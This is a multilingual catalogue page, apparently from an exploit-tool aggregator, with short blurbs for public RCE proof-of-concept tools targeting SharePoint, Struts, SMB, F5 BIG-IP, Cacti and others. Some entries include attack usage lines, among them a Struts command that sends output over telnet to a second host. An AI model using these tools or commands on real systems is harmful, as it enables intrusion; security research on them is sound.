CVE-2018-6574-go-get-RCE

CVE-2018-6574-go-get-RCE 이 문제는 패키지를 설치할 때 Golang이 네이티브 확장을 빌드하기 때문에 발생합니다. 이를 통해 컴파일러에 추가 플래그를 전달하여 코드 실행을 얻을 수 있습니다. 예를 들어, CFLAGS를 사용할 수 있습니다. 다음 명령어로 빌드할 수 있습니다: $ gcc -shared -o attack.so -fPIC attack.c 전체 페이로드를 Github에 호스팅한 후, 피해자에게 패키지 링크를 전달할 수 있어야 합니다...

CVE-2022-1388

CVE-2022-1388 Poc:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url Exp:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url --attack --command command 免責事項 このツールは学習、研究、自己点検のみを目的としています。不正な目的で使用してはなりません。本ツールの使用によって生じる一切のリスクは私とは関係ありません！ Disclaimer This tool is for study, research, and self-examination...

CVE-2025-53770

Divine Absolute - CVE-2025-53770 익스플로잇 도구 개요 Divine Absolute 는 CVE-2025-53770 을 표적으로 하는 정교한 위저드 기반 Python 익스플로잇 도구입니다. 이 취약점은 온프레미스 Microsoft SharePoint Server2016, 2019, Subscription Edition에서 발생하는 치명적인CVSS 9.8 인증되지 않은 원격 코드 실행RCE 취약점입니다. 2025년 7월 19일 제로데이로 공개된 이 취약점은 /layouts/15/ToolPane.aspx에서...

CVE-2025-67886

CVE-2025-67886 Bitrix24 = 25.100.300 Translate Module 원격 코드 실행 취약점...

CVE-2024-38063

CVE-2024-38063 - Windows TCP/IP 원격 코드 실행 취약점 연구 시간, 에너지, 정신 건강, 이해를 절약해 주는 포괄적인 연구입니다. 먼저 말씀드리자면, 이 특정 CVE는 높은 심각도 점수 때문에 짧은 시간 안에 엄청난 주목을 받은 다른 많은 CVE들과 같습니다. 그 결과, 이와 관련한 수많은 잘못된 정보와 악의적인 활동이 생겨났습니다. 이 취약점을 최초로 발견한 연구자는 Wei입니다. 여기에는 GitHub에 게시되어 실제 PoC처럼 보이도록 만들어진 악성 코드 기반 PoC가 포함되지만, 이에 국한되지는...

vscode-rce-electrovolt

vscode-rce-electrovolt CVE-2021-43908 https://blog.electrovolt.io/posts/vscode-rce/...

CVE-2023-47253

CVE-2023-47253 CVE-2023-47253 | Qualitor povoaVoComArray$REQUEST; if inarray$REQUEST'nmalias', array'dtiniciomesatual', 'dtfimmesatual', 'dtiniciomespassado', 개념 증명 POC "gridValoresPopHidden" 매개변수에 PHP 코드를 포함한 URL에 접속하기만 하면 됩니다. 연구자 https://www.linkedin.com/in/xvinicius/...

CVE-2020-0796-exp

SMBGhostRCEPoC CVE-2020-0796 'SMBGhost'에 대한 RCE PoC 데모 목적으로만 사용하세요! 참고 자료로만 사용하세요. 진지합니다. 이 코드는 제 연구실 환경 외에서는 테스트되지 않았습니다. 빠르게 작성되었으며 더 안정적으로 만들기 위해 개선이 필요합니다. 때때로 BSOD가 발생합니다. 자기 교육 이외의 목적으로 사용하는 것은 극도로 나쁜 생각입니다. 컴퓨터가 불타오르고 강아지들이 죽을 것입니다. 이제 그건 넘어가고.... 사용 예: root@kitploit: $SMBGhostRCEPoC pytho...

CVE-2024-44871

MoziloCMS = 3.0.1 인증된 RCE 설명 이 스크립트는 MoziloCMS를 실행하는 웹 애플리케이션 테스트를 위해 설계된 익스플로잇 도구입니다. 공격자가 관리자 로그인을 사용하여 jpg 파일을 통해 PHP 웹 셸을 업로드하고, 업로드된 파일의 이름을 php로 변경한 다음, 해당 php 파일을 통해 대상에 시스템 명령을 전송할 수 있게 해줍니다. ⚠️ 경고: 이 스크립트는 교육 목적으로만 사용됩니다. 책임감 있게 사용하고 시스템을 테스트하기 전에 적절한 권한이 있는지 확인하십시오. 무단 사용은 불법이며 비윤리적입니다...

CVE-2025-26056

CVE-2025-26056 작성자: Rohan Deshpande OS 명령어 주입 요약 OS 명령어 주입은 공격자가 취약한 애플리케이션을 통해 호스트 운영 체제에서 임의의 명령을 실행할 수 있게 하는 보안 취약점입니다. 이는 무단 액세스, 데이터 유출 및 시스템 손상으로 이어질 수 있습니다. 영향 OS 명령어 주입의 영향으로는 시스템 리소스에 대한 무단 액세스, 데이터 도난, 시스템 손상, 그리고 영향을 받는 서버에 대한 잠재적인 완전한 제어가 포함될 수 있으며, 이는 심각한 보안 침해와 운영 중단으로 이어질 수 있습니다. 영...

CVE-2025-60752

CVE-2025-60752 CVE-2025-60752 の PoC 影響を受ける製品: Tinyc Http Server 完全な解説記事は https://zer0matt.blogspot.com/2026/05/cve-2025-60752-tinyc-http-server-stack.html で入手できます 説明 Tinyc が巧妙に細工された入力を受け取ると、スタックバッファオーバーフローが発生します。このオーバーフローは、プログラムが大きな入力を適切に制御しないために発生します。...

-CVE-2017-9805-

脆弱性情報 リソース: https://vulners.com/cve/CVE-2017-9805 これは何ですか？ S2-052に脆弱なStruts2をホストするシステムのシェルにリモートコマンドを実行できるPythonエクスプロイトスクリプトです。 使用方法 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" root@kitploit: Apache Struts XStream REST vulnerability ...

doona

Doona - Network fuzzing tool .:: About ::. Doona is a fork of the Bruteforce Exploit Detector Tool BED. BED is a program which is designed to check daemons for potential buffer overflows, format string bugs etc. Doona is Australian for duvet. It adds a significant enough number of features/change...

CVE-2024-2054

CVE-2024-2054 Artica-Proxy 관리 웹 애플리케이션 안전하지 않은 역직렬화 RCE ARTICA PROXY 관리 웹 애플리케이션 CVE-2024-2054에 대한 개념 증명 익스플로잇 블로그 포스트 자세한 내용은 여기: https://blog.sonicwall.com/en-us/2024/03/unpatched-php-deserialization-vulnerability-in-artica-proxy/ 사용법 root@kitploit: $ python3 CVE-2024-2054.py Enter url:...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Реализация Impacket PoC PrintNightmare, изначально созданной Zhiniang Peng @edwardzpeng и Xuefeng Li @lxf02942370 Протестировано на полностью пропатченном контроллере домена 2019 Удалённое или локальное выполнение вредоносных DLL Обновление патча Microsoft выпустила...

CVE-2023-27350

CVE-2023-27350 Эта уязвимость позволяет удаленным злоумышленникам обойти аутентификацию на уязвимых установках PaperCut NG 22.0.5 Build 63914. Для эксплуатации этой уязвимости аутентификация не требуется. Конкретная ошибка существует в классе SetupCompleted. Проблема возникает из-за неправильного...

CVE-2022-46169-Exploit

CVE-2022-46169 PoC - Неаутентифицированное RCE в Cacti 1.2.22 Этот репозиторий содержит эксплойт для CVE-2022-46169, поражающий Cacti 1.2.22. Эта уязвимость позволяет неаутентифицированному злоумышленнику выполнить произвольный код на пораженной системе. Если вы хотите подробное описание того, ка...

laravel-filemanager-unrestricted-upload

Laravel FileManager 제한 없는 파일 업로드 CVE-2025-56399 CWE-434: 위험한 유형의 파일 제한 없는 업로드 CVSS 점수: 8.5 높음 📋 설명 이 도구는 CVE-2025-56399 의 개념 증명PoC 을 제공합니다. 이는 alexusmai/laravel-file-manager 버전 ≤ 3.3.1의 중요한 취약점입니다. 이 취약점은 인증된 공격자 가 조작된 파일을 업로드하고, 클라이언트 측 유효성 검사를 우회한 후 PHP 확장자로 이름을 변경하여 원격 코드 실행RCE 을 달성할 수 있게 합니다....

cve-2022-29464

cve-2022-29464 면책 조항 root@kitploit: 스크립트는 학습 및 참고용으로만 제공되며, 타인의 웹사이트를 악의적으로 공격하지 마십시오. 법을 위반하거나 질서를 어지럽힐 경우 발생하는 모든 결과는 사용자 본인이 부담합니다. 기술에는 죄가 없으며, 작성자와는 무관합니다. 스크립트를 사용하는 것은 위 내용에 동의하는 것으로 간주됩니다! --Author:lowkey0808 사용 방법 root@kitploit: usage: python3 -u url cve-2022-29464 optional arguments: -h...

VcenterKiller

VcenterKiller -1.주의 로컬에 취약점 환경을 구축한 분들은 vckiller로 log4j를 검증하면 기본적으로 실패합니다. VMware 가상 머신 환경에서 NAT 모드를 사용하면 검증 모듈의 외부 네트워크 카드가 127.0.0.1로 판단되어 대상이 접근하는 LDAP 서버 주소가 127.0.0.1로 바뀌어 검증이 실패합니다 😏 0.필독 버그가 발견되면 issue를 제기해 주세요. 이 도구는 단순히 편의를 위해 작성되었으며, 특별히 대단한 것은 없습니다. 1.무엇인가요? Vcenter를 위한 종합 검증 도구입니다. 현재...